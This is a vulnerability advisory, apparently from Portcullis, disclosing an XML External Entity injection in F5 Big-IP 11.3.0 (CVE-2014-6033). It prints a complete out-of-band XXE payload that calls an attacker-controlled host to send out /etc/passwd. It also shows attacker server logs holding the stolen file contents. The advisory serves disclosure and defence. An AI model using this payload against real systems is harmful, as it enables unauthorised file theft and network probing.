Tried, Tested and Proven

Vulnerability title: XML External Entity Injection in F5 Networks Big-IP

CVE: CVE-2014-6033
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak

Details:

F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):

action=write&contents=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/passwd"> %remote;
%int;
%trick;]><viewList>
  <view id="asd">
    <window>
      <setting name="x" value="0"/>
      <setting name="height" value="256"/>
      <setting name="y" value="190"/>
      <setting name="typeId" value="BwControlTemplWindow"/>
      <setting name="selectedMode" value="Both"/>
      <setting name="width" value="508"/>
    </window>
    <window>
      <setting name="x" value="515"/>
      <setting name="height" value="256"/>
      <setting name="toggleOn" value="true"/>
      <setting name="y" value="0"/>
      <setting name="typeId" value="MemWindow"/>
      <setting name="selectedMode" value="Both"/>
      <setting name="width" value="508"/>
      <setting name="viewSwitch" value="false"/>
    </window>
  </view>
</viewList>&name=asdasd

Please note that the payload needs to be completely urlencoded to trigger the vulnerability properly. On the attacking Server the file can be read from web server logs:

10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128 0.0008
10.1.10.10 - - [20/Aug/2014:00:37:18 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /?p=root:x:0:0:root:/root:/bin/bash%0Abin:x:1:1:bin:/bin:/sbin/nologin%0Adaemon:x:2:2:daemon:/sbin:/sbin/nologin%0Aadm:x:3:4:adm:/var/adm:/sbin/nologin%0Alp:x:4:7:lp:/var/spool/lpd:/sbin/nologin%0Amail:x:8:12:mail:/var/spool/mail:/sbin/nologin%0Auucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin%0Aoperator:x:11:0:operator:/root:/sbin/nologin%0Anobody:x:99:99:Nobody:/:/sbin/nologin%0Atmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin%0Aadmin:x:0:500:Admin%20User:/home/admin:/bin/false%0Aapache:x:48:48:Apache:/usr/local/www:/bin/bash%0Amysql:x:98:98:MySQL%20server:/var/lib/mysql:/sbin/nologin%0Avcsa:x:69:69:virtual%20console%20memory%20owner:/dev:/sbin/nologin%0Aoprofile:x:16:16:Special%20user%20account%20to%20be%20used%20by%20OProfile:/:/sbin/nologin%0Asshd:x:74:74:Privilege-separated%20SSH:/var/empty/sshd:/sbin/nologin%0Asyscheck:x:976:10::/:/sbin/nologin%0Arpc:x:32:32:Portmapper%20RPC%20user:/:/sbin/nologin%0Af5_remoteuser:x:499:499:f5%20remote%20user%20account:/home/f5_remoteuser:/sbin/nologin%0Apcap:x:77:77::/var/arpwatch:/sbin/nologin%0Atomcat:x:91:91:Apache%20Tomcat:/usr/share/tomcat:/sbin/nologin%0Antp:x:38:38::/etc/ntp:/sbin/nologin%0Anamed:x:25:25:Named:/var/named:/bin/false%0A HTTP/1.1" 200 - 0.0010

Note: Details on fixing this vulnerability can be found here.

Impact:

This vulnerability may allow the retrieval of arbitrary files or the causing of a Denial of Service condition (by making the server read from a file such as `/dev/random’). External entities can also reference URLs, potentially allowing port scanning from the XML parser’s host, or the retrieval of sensitive web content that would otherwise be inaccessible due to network topology and defenses.

Exploit:

Exploit code is not required.

Vendor status:

17/09/2014 Mitigation released
22/10/2014 Published
Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.